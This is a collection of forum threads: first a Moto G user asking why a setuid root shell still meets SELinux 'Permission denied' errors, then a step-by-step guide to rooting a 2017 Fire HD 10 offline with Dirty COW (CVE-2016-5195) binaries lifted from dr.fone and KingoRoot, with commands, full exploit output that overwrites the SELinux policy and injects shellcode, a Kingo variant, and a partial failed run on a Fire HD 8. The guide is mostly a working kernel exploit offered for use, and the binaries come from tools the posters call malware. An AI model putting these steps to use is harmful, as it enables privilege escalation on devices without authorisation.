I'm trying to understand why I still get such "Permission denied" errors though I'm UID root.
I will describe my setup and particular error, but I think a proper explanation of what's happening may interest others.
I just need occasional root shell for reverse engineering sessions, and from what I know, a simple way to achieve this is to boot a modified initial ramdisk that contains a properly modified /default.prop, and/or a setuid shell, and/or some kind of su command.
I managed to successfully boot the device (Moto G) with my custom modified image using "fastboot boot custom_boot.img".
First I can verify it's actually "my initrd.img" that's in use:
Code:
[email protected]_umts:/ $ cat /default.prop
#
# ADDITIONAL_DEFAULT_PROPERTIES
#
[I]ro.secure=0[/I]
ro.allow.mock.location=0
[I]ro.debuggable=1[/I]
This does _not_ allow me to get root shell (with "adb shell"):
Code:
[email protected]_umts:/ $ id
[I]uid=2000(shell)[/I] gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
So, I added a setuid copy of /system/bin/sh to the initial ramdisk, at "/sbin/shell0".
Code:
[email protected]_umts:/ $ ls /sbin/shell0 -l
[I]-rwsr-xr-- root shell[/I] 157424 2014-07-14 16:08 shell0
[email protected]_umts:/ $ /sbin/shell0
# id
[I]uid=2000(shell)[/I] gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
# exit
[email protected]_umts:/ $ /sbin/shell0 +p
[email protected]_umts:/ # id
[I]uid=0(root)[/I] gid=2000(shell) groups=2000(shell) context=u:r:shell:s0
[email protected]_umts:/ # ls /data/
[I]opendir failed, Permission denied[/I]
Here, it appears that I have to use the "+p" flag to prevent the shell to immediately get back to the real user id (2000), despite the suid bit is set on /sbin/shell0.
But I don't understand I don't have the permission neither to open simple directories as /data, nor to read the interesting stuff in the /proc subsystem, though I'm uid=0 (root).
I've also tried adding to the initial ramdisk a simple su command, at /sbin/test_su, that does the setuid(0)/setgid(0)/execve(...) thing (snippets available at android.googlesource.com).
But though this properly keep the supplementary groups I had lost within the previous try above, I still can't read into /data:
Code:
[email protected]_umts:/ $ ls -l /sbin/test_su
[I]-rwsr-xr-- root shell[/I] 6316 2014-07-14 17:12 test_su
[email protected]_umts:/ $ test_su
[email protected]_umts:/ # id
[I]uid=0(root) gid=0(root)[/I] groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
[email protected]_umts:/ # ls /data/
[I]opendir failed, Permission denied[/I]
From a un*x point of view, it seems weird to me that the shell still answers "opendir failed, Permission denied" while I'm uid/gid 0 (root).
I will continue to investigate, notably regarding SELinux which may enforce rules I'm not aware of, but would also greatly appreciate anyone who could put some light on this issue. At least for me it's an issue, as I don't understand what's happening.
Thanks.
t0kt0ckus said:
So, I added a setuid copy of /system/bin/sh to the initial ramdisk, at "/sbin/shell0".
Click to expand...
Click to collapse
Note that making a setuid shell executable might not be 100% reliable. When I've tried this with bash, it quickly realizes that getuid() != geteuid(), and drops the root permission.
I don't see this happening in your logs, but it's something to watch out for. Typically I've just used simple wrapper programs like the attached file to guarantee that the real/effective/saved UIDs are 0/0/0.
From a un*x point of view, it seems weird to me that the shell still answers "opendir failed, Permission denied" while I'm uid/gid 0 (root).
I will continue to investigate, notably regarding SELinux which may enforce rules I'm not aware of, but would also greatly appreciate anyone who could put some light on this issue. At least for me it's an issue, as I don't understand what's happening.
Click to expand...
Click to collapse
Chainfire is probably the best person to comment on Android SELinux matters. If you look through his old G+ posts you may be able to determine which restrictions apply to your security context.
Do you see any denials logged in dmesg? (Or is that inaccessible too?)
If there is a /selinux/enforce file, does it read back '0' or '1'?
Thank you for your answer.
cernekee said:
Note that making a setuid shell executable might not be 100% reliable. When I've tried this with bash, it quickly realizes that getuid() != geteuid(), and drops the root permission.
I don't see this happening in your logs, but it's something to watch out for. Typically I've just used simple wrapper programs like the attached file to guarantee that the real/effective/saved UIDs are 0/0/0.
Click to expand...
Click to collapse
I've looked at your attached source, the main difference with my own wrapper is that you fork the process, I've tried also, behavior is the same. But, after reading your comment, I've modified my setuid/execve code, to make it more verbose about the real/effective/saved UIDs (using getresuid()).
Code:
[email protected]_umts:/ $ test_su
Initial UIDs
ruid: 2000
[B]euid: 0[/B]
suid: 0
Setting UIDs ...
New UIDs
[B]ruid: 0
[/B]euid: 0
suid: 0
[email protected]_umts:/ # ls /data/
[I]opendir failed, Permission denied[/I]
1|[email protected]_umts:/ #
It clearly appears that, POSIX speaking, all go fine until the "Permission denied" error:
the effective uid is already 0 (just after the "adb shell" command), which is expected and documented, as the content of my /default.prop prevents the shell to revert its effective uid to its real one, which would then be 2000 (shell)
after the setuid(0) call, the real uid is successfully set to 0, as expected, because the suid bit is set AND we were already privileged (if not privileged, setuid() should only change the effective uid, as for "man 2 setuid")
after execve(..), the whole prompt, "[email protected]_umts:/ #", again confirms the real uid is 0 (root)
Chainfire is probably the best person to comment on Android SELinux matters. If you look through his old G+ posts you may be able to determine which restrictions apply to your security context.
Click to expand...
Click to collapse
Yes, I definitely need to dig into the SELinux/Android stuff (see bellow), and will try to find the Chainfire posts you propose.
Do you see any denials logged in dmesg? (Or is that inaccessible too?)
If there is a /selinux/enforce file, does it read back '0' or '1'?
Click to expand...
Click to collapse
Neither dmseg (which is accessible) nor logcat shows any related error or warning.
I haven't any /selinux/enforce file, but it clearly appears from information bellow that SELinux is activated and enforced:
Code:
[email protected]_umts:/ $ getenforce
[B]Enforcing[/B]
[email protected]_umts:/ # setenforce 0
setenforce: Could not set enforcing status: Permission denied
[email protected]_umts:/ $ cat seapp_contexts
isSystemServer=true domain=system
user=system domain=system_app type=system_data_file
user=bluetooth domain=bluetooth type=bluetooth_data_file
user=nfc domain=nfc type=nfc_data_file
user=radio domain=radio type=radio_data_file
user=_app domain=untrusted_app type=app_data_file levelFrom=none
user=_app seinfo=platform domain=platform_app type=platform_app_data_file
user=_app seinfo=shared domain=shared_app type=platform_app_data_file
user=_app seinfo=media domain=media_app type=platform_app_data_file
user=_app seinfo=release domain=release_app type=platform_app_data_file
user=_isolated domain=isolated_app
user=shell domain=shell type=shell_data_file
user=log domain=log_app type=system_data_file
user=sprint_extension domain=carrier_ext type=platform_app_data_file
user=smartcard domain=smartcard type=smartcard_data_file
I'm a noob at SELinux, and I may be wrong, but I think a rule policy could prevent a user, being it root, to achieve certain actions. I need to read stuff about this.
The initial boot image that I modify (just add my suid shell /sbin/test_su) is the 4.4.2 one from sbf, and I expand/repack it using standard un*x tools (gunzip,cpio,...) and abootimg. Anything wrong with that ?
I build the C files using:
Code:
$ echo $CC
<android-ndk>/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gcc --sysroot=<android-ndk>/platforms/android-19/arch-arm
$ $CC -o test_su test_su.c
Should I use particular flags for gcc, to make it produce SELinux aware object files ?
[EDIT: stupid question, answer is no]
Again, thanks for your help and ideas.
Just for information (for thus who are as dumb as I am): acquiring uid=(euid=suid=)0 is of little or no help within a user application, you're (obviously) still constrained by capabilities you can't acquire unless involving some kind of exploit.
To get a shell that's not restricted by the SE policies (on the 4.4 branch), the main way seems to have somewhat a system daemon capable to spawn /system/bin/sh with appropriate privileges/capabilities upon su client requests: so you again need an exploit.
So, for my understanding, starting with KitKat you can't anymore get a useful adb root shell through the uid=0 thing (traditional su), you have either to flash a custom rom or involve an exploit.
Update: While this still works, there's an easier method here. Please try that first.
Disclaimer #1: KingoRoot, dr.fone, and most other one-click rooting tools are characterized as malware. Should you use these tools? That decision is yours and yours alone. I do not own any of the tools that follow. All the links are to files that are publicly available.
Disclaimer #2: This is a risky undertaking. If you encounter issues or, worse, end up with a brick, I (or the others here) will try to help you, but the risk is all yours.
Disclaimer #3: This approach is not for everyone. If you lack a half-decent linear combination of (1) troubleshooting skills, (2) patience, (3) reading-comprehension skills, and (4) some love of risk, please stop here.
Disclaimer #4: I have only tried this on the 2017 HD 10. If you try this on another device type and it works, please post in the appropriate forum. If you try this on another device type and it does not work, don't be shocked.
NAQ (Never-Asked Questions):
a. What is "offline" rooting?
-- Rooting your device without needing access to the Internet (i.e., the rooting process requires no Internet connection; not on the phone/tablet, not on the computer).
b . Aren't there a gazillion rooting threads for the 2017 HD 10, each claiming to be easier than its predecessors? Why even bother with this fancy "offline" stuff?
-- All of those rooting threads use tools that require Internet access on the PC. What if those tools stop working because of server issues on their end?
-- More importantly, it's well known that these one-click rooting tools extract and transmit a ton of device-identifying information (e.g., IMEI, Serial Number, ...) that is not central to the rooting process. Why give that up?
For a few weeks now, I have been trying to come up with a rooting process that does not require any Internet access on the computer (we know KingoRoot and dr.fone need Internet access on the computer). I have finally figured out how. As a result, we should be able to root the 2017 HD 10 even if these rooting options cease to exist (assuming Amz updates are blocked at 5.6.0.1).
While Kingo does a good job of hiding its root exploits (i.e., the scripts it fetches from the cloud), the good doctor is a bit more generous (its files are downloaded onto a folder on the disk). I copied everything from that folder after a successful root attempt on my test tablet and examined each file. I was able to tinker with the scripts and binaries after moving them to /data/local/tmp on my tablet, but wasn't able to achieve anything meaningful ... until tonight. Noting the presence of some weirdly-named files in that folder, I did a simple Google search and came up with this hit. Of particular interest is method 2 (ELF). Based on that reading and armed with the files from the folder on the disk, I was able to achieve root without Internet access on my computer. I have done so multiple times, w/ and w/o a fresh sideload of the 5.6.0.0 update .bin. The process succeeds more often than it fails (when it does fail, a reboot and retry usually works), not unlike failures with Kingo or the doctor. It's the same exploit after all.
I am guessing Kingo uses a similar process, but does enough to make its scripts difficult to obtain offline. Access to the doctor's scripts and some clarity on the rooting procedure should help others on this forum make even greater progress.
Update: See my post #10 in this thread for Kingo-related instructions. To do this with Kingo, you would complete steps 4 and 5 in this OP and then move to the steps in post #10.
You will need to download a few files (for which you will, of course, need Internet on your computer):
1. Download the exploits here (it's clear that the exploit that's working for the 2017 HD 10 is Dirty COW: CVE-2016-5195): 20165195.zip and SuperSU_18+.zip and extract to their respective folders.
2. Copy all the files from the SuperSU_18+ folder into the 20165195 folder (overwriting wsroot.sh). Rename 20165195 to something simpler, say c. Inside the c folder, you should have the following binaries and scripts: ddexe, debuggerd, fileWork, install-recovery.sh, Matrix, pidof, start_wssud.sh, su, su_arm64, Superuser.apk, supolicy, toolbox, and wsroot.sh. You can delete Superuser.apk (we will be downloading SuperSU next).
3. Download the SuperSU 2.82 SR5 apk from here (or search for another source). Move it to the c folder.
4. Install the Fire's drivers and ADB+fastboot from here (if you haven't already done so).
You will not need Internet access from this point forward.
You should now have the c folder with 12 files and the SuperSU apk handy. If you lose root for whatever reason (or if you just want to test this out), you do not need KingoRoot or dr.fone. Follow these steps:
5. Do the basics:
-- Fire up your Fire.
-- On your first boot, start the process by clicking on Continue, then click on any of the WiFi choices, click Cancel, choose Not Now, and then Skip. Once the Fire gets to the home screen, pull down the notification bar and enable airplane mode.
-- Become a developer by tapping Serial Number (in Device Options) 7 times, go to Developer Options, and Enable ADB.
-- Go to Security in Settings and enable Apps from Unknown Sources.
-- Connect your Fire to the computer, Allow USB debugging on the tablet, check the popup box to Always allow from this computer (if this does not happen here, it will when you start adb next).
-- Type adb shell in an administrative command prompt. You should enter the tablet as a user.
6. On your computer, copy all the files from the c folder to the Fire's internal storage (/sdcard). Next, go to the command prompt with adb shell and copy the files to /data/local/tmp:
Code:
cp /sdcard/c/* /data/local/tmp
cd /data/local/tmp
ls -l
7. Change permissions:
Code:
chmod 755 *
8. This is the ballgame: Run:
Code:
./Matrix /data/local/tmp 2
This tells Matrix to look for files in /data/local/tmp, with "2" installing su in /system/xbin ("1" installs su8 in /system/xbin). Wait for the process to complete (it will take a minute or two). If it's successful, you will see something like the following as it completes:
Code:
[*] exploited 0x7f83021000=f97cff8c
end!!!!!!!
<WSRoot><Exploit>0</Exploit></WSRoot>
<WSRoot><Done>0</Done></WSRoot>
If it does not report success as depicted above (note that the memory address exploited might be different, but the end result has to be a "0" and "Done"), delete everything from /data/local/tmp/, (hard) reboot the tablet, and retry (starting from step 5). Failure is likely if an exploit check takes greater than 30 seconds, in which case the device may have to be manually rebooted.
This is a sample of the entire output that should be generated:
Code:
[email protected]:/data/local/tmp $ ./Matrix /data/local/tmp 2
<WSRoot><Command>0</Command></WSRoot>
<WSRoot><InitResource>0</InitResource></WSRoot>
Decrypt Success: /data/local/tmp/fileWork
Output File Name: /data/local/tmp/fileWork.
<WSRoot><Decrypt>0</Decrypt></WSRoot>
extracting: /data/local/tmp/Bridge_wsroot.sh
extracting: /data/local/tmp/krdirtyCow32
extracting: /data/local/tmp/krdirtyCow64
extracting: /data/local/tmp/libsupol.so
extracting: /data/local/tmp/my.sh
extracting: /data/local/tmp/mysupolicy
extracting: /data/local/tmp/patch_script.sh
extracting: /data/local/tmp/root3
<WSRoot><Decompression>0</Decompression></WSRoot>
execute string: /data/local/tmp/root3 /data/local/tmp/ 2
WARNING: linker: /data/local/tmp/root3: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/root3: unused DT entry: type 0x6fffffff arg 0x1
ro.build.version.sdk :22
ro.product.cpu.abi :arm64-v8a
is x64
execute string: /data/local/tmp/krdirtyCow64 /data/local/tmp/ 2
WARNING: linker: /data/local/tmp/krdirtyCow64: unused DT entry: type 0x6ffffffe arg 0xd30
WARNING: linker: /data/local/tmp/krdirtyCow64: unused DT entry: type 0x6fffffff arg 0x1
path : /data/local/tmp/
path : /data/local/tmp
[*] path_script:/data/local/tmp/patch_script.sh /data/local/tmp
rm: /data/local/tmp/sepolicy: No such file or directory
rm: /data/local/tmp/load: No such file or directory
supolicy v2.76 (ndk:armeabi) - Copyright (C) 2014-2016 - Chainfire
Patching policy [/data/local/tmp/sepolicy] --> [/data/local/tmp/load] ...
-permissive:zygote=ok
-permissive:kernel=ok
-permissive:init=ok
-permissive:su=ok
-permissive:init_shell=ok
-permissive:shell=ok
-permissive:servicemanager=ok
- Success
find_opcode offset:2d0 opcode:aaffbbee
find ok star:7f8325c008 end:7f8325c2d8 size:2d0
sh : /data/local/tmp/my.sh /data/local/tmp 2 fwrite is count 210148 /data/local/tmp/load1
fwrite is count 54204 /data/local/tmp/load2
find_opcode offset:2b4 opcode:eaeaeaea
find_opcode offset:2b8 opcode:ebebebeb
find_opcode offset:22d opcode:abababab
load = 408a0 load1 = 334e4 load2 = d3bc
find_opcode offset:2b0 opcode:efefefef
find_opcode offset:24d opcode:cdcdcdcd
find_opcode offset:2bc opcode:acacacac
init_shellcode
loadsize:264352
loadpath:/data/local/tmp/load
shpath:/data/local/tmp/my.sh /data/local/tmp 2
shpath:2bc
open /proc
PID:208
find logd pid : d0
_inject_start_s:0x7f8325c008
Copying /sepolicy to /data/local/tmp/cp_sepolicy
cow_exploit_mv_file_init: Overriding /sepolicy from /data/local/tmp/load1
size: 210148
[*] mmap 0x7f83055000;
[*] exploit (patch)
[*] currently 0x7f83055000=8f97cff8c
sched_setaffinity: Function not implemented[*] madvise = 0x7f83055000 210148
checking the patch ... exploit
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
check done
sched_setaffinity: Function not implementedmadviseThread() done
procselfmemThread() done
[*] exploited 0x7f83055000=f97cff8c
[main]p_vdso_addr:0x7f8325a000 p_vdso_buffer:0x400000
[*]set_ret_jmp
[*]set_ret_jmp 400410
[*]set_ret_jmp 400420
[main] write 1
Parent is over..status == 0
socket: No such file or directory
socket = 7
ret = ffffffff
connect
: No such file or directory
ret = ffffffff
find coe f
[main] write 2
Parent is over..status == 0
cow_exploit_mv_file_init: Overriding /sepolicy from /data/local/tmp/load2
warning: new file size (54204) and file old size (210148) differ
size: 54204
[*] mmap 0x7f83236000;
[*] exploit (patch)
[*] currently 0x7f83236000=8f97cff8c
sched_setaffinity: Function not implemented[*] madvise = 0x7f83236000 54204
checking the patch ... exploit
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
check done
sched_setaffinity: Function not implementedmadviseThread() done
procselfmemThread() done
[*] exploited 0x7f83236000=8600a5
find coe 36
Parent is over..status == 0
cow_exploit_mv_file_init: Overriding /sepolicy from /data/local/tmp/cp_sepolicy
size: 210148
[*] mmap 0x7f83021000;
[*] exploit (patch)
[*] currently 0x7f83021000=10007008600a5
checking the patch ... exploit
sleep 1s
sched_setaffinity: Function not implementedsched_setaffinity: Function not implemented[*] madvise = 0x7f83021000 210148
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
check done
madviseThread() done
procselfmemThread() done
[*] exploited 0x7f83021000=f97cff8c
end!!!!!!!
<WSRoot><Exploit>0</Exploit></WSRoot>
<WSRoot><Done>0</Done></WSRoot>
9. Confirm by getting to a root shell:
Code:
su
10. Install SuperSU from /sdcard/c/ (you can just click on Docs on your home screen, go to local storage, then the c directory, and install the apk).
11. Open SuperSU and update binary as Normal (should be successful).
12. Click to reboot.
13. Set SuperSU to Grant as default access.
14. Delete the two wondershare directories in /data/data-lib/:
Code:
cd /data/data-lib
rm -r com.wondershare.DashRoot
rm -r wondershare
15. Not required: Perform other cleanup as needed (look for files in /system/xbin, /system/bin, /data, ... based on install date/time, etc.). Mount /system writable if you're going to be cleaning up items in /system:
Code:
su
mount -w -o remount /system
This is great. A nice framework to add new exploits and fuzz existing ones for previously non rootable devices.
Now we just need meltdown code..
Sent from my iPhone using Tapatalk
@retyre - Great effort!
I am eagerly awaiting the report of your findings!
I am surprised that Amazon has not started pushing out a new OTA, it's been 4 weeks now since the first rooting report. Xmas must have gotten in the way, or the guy who knew how to patch holes quit
Btw, there is the oldie but goodie - an effort to capture Kingoroot actions, you may try to follow it, if you have a bit of time:
https://forum.xda-developers.com/general/general/kingo-root-steals-imei-t3268525
bibikalka said:
[MENTION=3497316]... I am eagerly awaiting the report of your findings! ...
Click to expand...
Click to collapse
As I wrote in the OP, this is confirmed working. That's not what I am worried about here. It's this:
-- Given the widespread characterization of one-click rooting tools (like KingoRoot, dr.fone, etc.) as malware, I am worried it's "bad form" for me to be posting such binaries and scripts on this forum.
-- As shady as KingoRoot and dr.fone are, do they have IP rights (esp. the latter in this case) that I would be violating by posting these files here?
Check your PM.
retyre said:
As I wrote in the OP, this is confirmed working. That's not what I am worried about here. It's this:
-- Given the widespread characterization of one-click rooting tools (like KingoRoot, dr.fone, etc.) as malware, I am worried it's "bad form" for me to be posting such binaries and scripts on this forum.
-- As shady as KingoRoot and dr.fone are, do they have IP rights (esp. the latter in this case) that I would be violating by posting these files here?
Check your PM.
Click to expand...
Click to collapse
OK, thanks!
My bigger worry is that Amazon will grab these, and plug the holes faster
Btw, if the files have IP issues (or other ones ...), the most that'd happen is that the moderators here would just take it down.
The OP has been updated with all the steps and links to the required files. Please read the disclaimers before you begin.
retyre said:
The OP has been updated with all the steps and links to the required files. Please read the disclaimers before you begin.
Click to expand...
Click to collapse
Wow, you actually got direct links to dr.fone exploits, straight on their web site!!!
I am amazed that it's DirtyCow, it's been ages, I thought it got patched on Fires way back, in 2016.
Update:
Here is the most "official" link to SuperSu 2.82-SR5 :
https://download.chainfire.eu/1220/SuperSU/SR5-SuperSU-v2.82-SR5-20171001224502.zip
Any reason to use this SuperSu version vs the prior options?
bibikalka said:
Wow, you actually got direct links to dr.fone exploits, straight on their web site!!!
I am amazed that it's DirtyCow, it's been ages, I thought it got patched on Fires way back, in 2016.
Update:
Here is the most "official" link to SuperSu 2.82-SR5 :
https://download.chainfire.eu/1220/SuperSU/SR5-SuperSU-v2.82-SR5-20171001224502.zip
Any reason to use this SuperSu version vs the prior options?
Click to expand...
Click to collapse
Yes. URL snooping is part art, part science.
That's the flashable zip, not the apk. Do you have an official link to the apk? I searched, but couldn't locate one.
I thought we were using 2.79 because of the difficulty in replacing Kingo? That's not an issue here, and it updates successfully (does not report installation failed).
retyre said:
Yes. URL snooping is part art, part science.
That's the flashable zip, not the apk. Do you have an official link to the apk? I searched, but couldn't locate one.
I thought we were using 2.79 because of the difficulty in replacing Kingo? That's not an issue here, and it updates successfully (does not report installation failed).
Click to expand...
Click to collapse
Yes, correct, 2.79 did not complain about Kingo's su when replacing it. Btw, I was flashing 2.82 via FF, after patching it a bit. To get SuperSu.apk, you just need to unpack zip, and it'll be sitting there, in E:\tmp\SR5-SuperSU-v2.82-SR5-20171001224502\common (or whatever).
Btw, I've edited build.prop a bit, first to remove arm64 in abilong (this would enable the stock SuperSu to work in FF, without patching), and then to disable OTAs via the version number:
http://www.aftvnews.com/how-to-bloc...k-by-setting-a-custom-fire-os-version-number/
Once I enabled OTA (renaming apk_ back to apk), it promptly downloaded 17 or 18 apks, and updated the Amazon apps. Now, I am on FireOS 5.5., and it did not download 5.6, meaning the version number trick works fine. So it'll freeze the ROM, but will continue updating apps.
"Offline" rooting with Kingo
This method is not as offline as the method in the OP, but here's how you can perform a variant of "offline" rooting with Kingo. I will begin by mentioning that Kingo's files are not easily accessible to the user, so you will have to have these files handy before you begin. Sadly, these files can only be obtained while Kingo is doing online rooting. Most (but not all, from what I have seen thus far) of these files are in your AppData\Local\Kingosoft\Kingo Root\files folder, but with different names.
I figured out the actual file names by matching the file sizes in the \files folder on my PC with the files created by Kingo in /data/local/tmp on the tablet while the online Kingo rooting process is _ongoing_ (ls -al). As I mentioned earlier, not every file in /data/local/tmp is in \files, though (could be in other folders on the PC; I haven't looked yet). Following this post, I also did a hex dump of the traffic over USB, but nearly all of it was Kingo transferring its files to /data/local/tmp..
Why does this have to be done while the rooting is in progress? Because Kingo cleans up the /data/local/tmp directory after the rooting is complete. In other words, you will have to copy the files from /data/local/tmp to /sdcard before the rooting completes. If you can do that, these are the files you will obtain: KingoUser.apk, busybox, ddexe, debuggerd, kingo, kingo_1b90d7d01 (likely a copy of KingoUser.apk), kingorootname, mkdevsh, su, suarm64, supolicy, suv7, install-recovery.sh, and libsupol.so (emphasis added to denote the required files). Some information is here as well.
So, what's the best way to obtain these files at this point? Sadly, by rooting (again) with Kingo. (Since these files are not publicly available, I do not think it's right for me to upload them somewhere.) If you can get a hold of these files and save them off the tablet, your future Kingo rooting can be completely offline ... and _mucho_ simpler than the procedure currently in the OP.
Here's what you would do with the aforementioned files:
-- Do steps 4 and 5 in the OP.
-- Download the SuperSU 2.79 apk from here and copy it to /sdcard.
-- Copy all the files Kingo files to a folder on /sdcard (say, k).
-- Copy everything from /sdcard/k to /data/local/tmp:
Code:
cp /sdcard/k/* /data/local/tmp/
cd /data/local/tmp
ls -l
-- Change permissions to execute:
Code:
chmod 755 *
-- This is the actual rooting command:
Code:
./kingo
This should be done in less than a minute, after which you will be back at the shell prompt.
-- Test root:
Code:
su
-- Mount /system writable to check:
Code:
mount -w -o remount /system
-- Install SuperSU 2.79 to get around the "su binary occupied" issue with later SuperSU versions. You should see installation failed (as usual), but things should be fine after the reboot.
-- Set default access to Grant in SuperSU's settings.
I have tested this multiple times. Works every time. Like I said, much easier than the method currently in the OP, but with the added challenge of obtaining non-public rooting files.
How does Kingo root, you ask? The mkdevsh file in /data/local/tmp (it's not on the computer as far as I can tell) is the only script I could find. At this time, I do not know the exploit being used here; it appears to be significantly more efficient than the doctor's remedy, that's for sure. Anyone interested in reversing the "kingo" binary?
retyre said:
Why does this have to be done while the rooting is in progress? Because Kingo cleans up the /data/local/tmp directory after the rooting is complete. In other words, you will have to copy the files from /data/local/tmp to /sdcard before the rooting completes. If you can do that, these are the files you will obtain: KingoUser.apk, busybox, ddexe, debuggerd, kingo, kingo_1b90d7d01 (likely a copy of KingoUser.apk), kingorootname, mkdevsh, su, suarm64, supolicy, suv7, install-recovery.sh, libsupol.so. (The apk is not needed.) Some information is here as well.
...
-- This is the actual rooting command (I got this from here):
Code:
./kingo kingo
...
Click to expand...
Click to collapse
Do you think the 'su' above will end up in /system/xbin/su ? Or are those packed inside kingo executable?
Btw, I've studied dr.fone's exploit, and it's using 'su' by Chainfire, there is a text like this inside it.
I suspect these tools are recycling quite a bit of borrowed code, that's why they carefully clean up after they are done.
bibikalka said:
Do you think the 'su' above will end up in /system/xbin/su ? Or are those packed inside kingo executable?
Click to expand...
Click to collapse
IIRC, Kingo puts its su somewhere else (not in /system/xbin), hence the commands that follow. If I do this again (I guess I will; my test tablet doesn't know about Amendment VIII), I will look to see which su binary it's using.
retyre said:
IIRC, Kingo puts its su somewhere else (not in /system/xbin), hence the commands that follow. If I do this again (I guess I will; my test tablet doesn't know about Amendment VIII), I will look to see which su binary it's using.
Click to expand...
Click to collapse
OK, but would not SuperSu find whatever 'su' there is (left by Kingoroot), and update it? Why do you need to do it manually?
Code:
cp /data/local/tmp/su /system/xbin/
chmod 755 /system/xbin/su
I gotta say, it looks like Kingo is much more professional malware outfit , dr.fone appears very amateurish in that regard. But regardless, given how well the other Fires held up post-DirtyCow, the good exploits are becoming quite scarce.
bibikalka said:
OK, but would not SuperSu find whatever 'su' there is (left by Kingoroot), and update it? Why do you need to do it manually?
Code:
cp /data/local/tmp/su /system/xbin/
chmod 755 /system/xbin/su
I gotta say, it looks like Kingo is much more professional malware outfit , dr.fone appears very amateurish in that regard. But regardless, given how well the other Fires held up post-DirtyCow, the good exploits are becoming quite scarce.
Click to expand...
Click to collapse
Correct, SuperSU will find Kingo's su binary (in /sbin) and update it, so the manual copy is not needed. To answer your earlier question, Kingo uses the su binary from /data/local/tmp (but the "kingo" binary might well contain the same su). It looks like Kingo's su binary is the arm64 version, and the one from SuperSU is arm.
I am thinking the 2017 HD 10 may have multiple exploits. Clearly, dr.fone is using Dirty COW (and this memory exploit fails at times), but given the ease (and 100% success) with which Kingo is rooting, it may have found an easier exploit.
retyre said:
Correct, SuperSU will find Kingo's su binary (in /sbin) and update it, so the manual copy is not needed. To answer your earlier question, Kingo uses the su binary from /data/local/tmp (but the "kingo" binary might well contain the same su). It looks like Kingo's su binary is the arm64 version, and the one from SuperSU is arm.
I am thinking the 2017 HD 10 may have multiple exploits. Clearly, dr.fone is using Dirty COW (and this memory exploit fails at times), but given the ease (and 100% success) with which Kingo is rooting, it may have found an easier exploit.
Click to expand...
Click to collapse
For some reason, SuperSu could not install correctly the arm64 version of 'su'. What's in use after SuperSu is actually 'armv7'. I guess I did not try SR5-2.82 zip yet, perhaps, it'd work.
For the multiple exploits theory, it's interesting that Kingo also cannot root any other Fires right now, just this one (same as dr.fone). So either Fire HD10 2017 is choke full of old holes, or Kingo just has a more efficient DirtyCow implementation and does its thing quicker.
I am sort of hoping that with the upcoming OTA, Amazon would make FireOS a bit more like a proper 64 bit Android thinggy, without this hybrid stuff that's seems to be throwing off a lot of misc apps (such as FlashFire and Xposed).
has anyone tried the offline root on the 8? if not i am going to soon for sureeeee
Ae3NerdGod said:
has anyone tried the offline root on the 8? if not i am going to soon for sureeeee
Click to expand...
Click to collapse
I just tried the OP's offline root instructions 3 times on my Fire HD 8 running 5.6.0.0 and it failed all 3 times. Here's the error code if you are curious:
Code:
[HIDE]---try 1---
C:\android\platform-tools>adb shell
[email protected]:/ $ ls -l /data/local/tmp
-rwxr-xr-x shell shell 1126000 2017-11-13 17:41 busybox
[email protected]:/ $ cp /sdcard/c/* /data/local/tmp
[email protected]:/ $ cd /data/local/tmp
[email protected]:/data/local/tmp $ ls -l
-rw-rw---- shell shell 109400 2018-01-19 21:15 Matrix
-rw-rw---- shell shell 6488979 2018-01-19 21:15 Superuser.apk
-rwxr-xr-x shell shell 1126000 2017-11-13 17:41 busybox
-rw-rw---- shell shell 67 2018-01-19 21:15 ddexe
-rw-rw---- shell shell 1756 2018-01-19 21:15 debuggerd
-rw-rw---- shell shell 202824 2018-01-19 21:15 fileWork
-rw-rw---- shell shell 629 2018-01-19 21:15 install-recovery.sh
-rw-rw---- shell shell 13592 2018-01-19 21:15 pidof
-rw-rw---- shell shell 1912 2018-01-19 21:15 start_wssud.sh
-rw-rw---- shell shell 75348 2018-01-19 21:15 su
-rw-rw---- shell shell 108480 2018-01-19 21:15 su_arm64
-rw-rw---- shell shell 101852 2018-01-19 21:15 supolicy
-rw-rw---- shell shell 177316 2018-01-19 21:15 toolbox
-rw-rw---- shell shell 38830 2018-01-19 21:15 wsroot.sh
[email protected]:/data/local/tmp $ chmod 755 *
[email protected]:/data/local/tmp $ ls -l
-rwxr-xr-x shell shell 109400 2018-01-19 21:15 Matrix
-rwxr-xr-x shell shell 6488979 2018-01-19 21:15 Superuser.apk
-rwxr-xr-x shell shell 1126000 2017-11-13 17:41 busybox
-rwxr-xr-x shell shell 67 2018-01-19 21:15 ddexe
-rwxr-xr-x shell shell 1756 2018-01-19 21:15 debuggerd
-rwxr-xr-x shell shell 202824 2018-01-19 21:15 fileWork
-rwxr-xr-x shell shell 629 2018-01-19 21:15 install-recovery.sh
-rwxr-xr-x shell shell 13592 2018-01-19 21:15 pidof
-rwxr-xr-x shell shell 1912 2018-01-19 21:15 start_wssud.sh
-rwxr-xr-x shell shell 75348 2018-01-19 21:15 su
-rwxr-xr-x shell shell 108480 2018-01-19 21:15 su_arm64
-rwxr-xr-x shell shell 101852 2018-01-19 21:15 supolicy
-rwxr-xr-x shell shell 177316 2018-01-19 21:15 toolbox
-rwxr-xr-x shell shell 38830 2018-01-19 21:15 wsroot.sh
[email protected]:/data/local/tmp $ ./Matrix /data/local/tmp 2
<WSRoot><Command>0</Command></WSRoot>
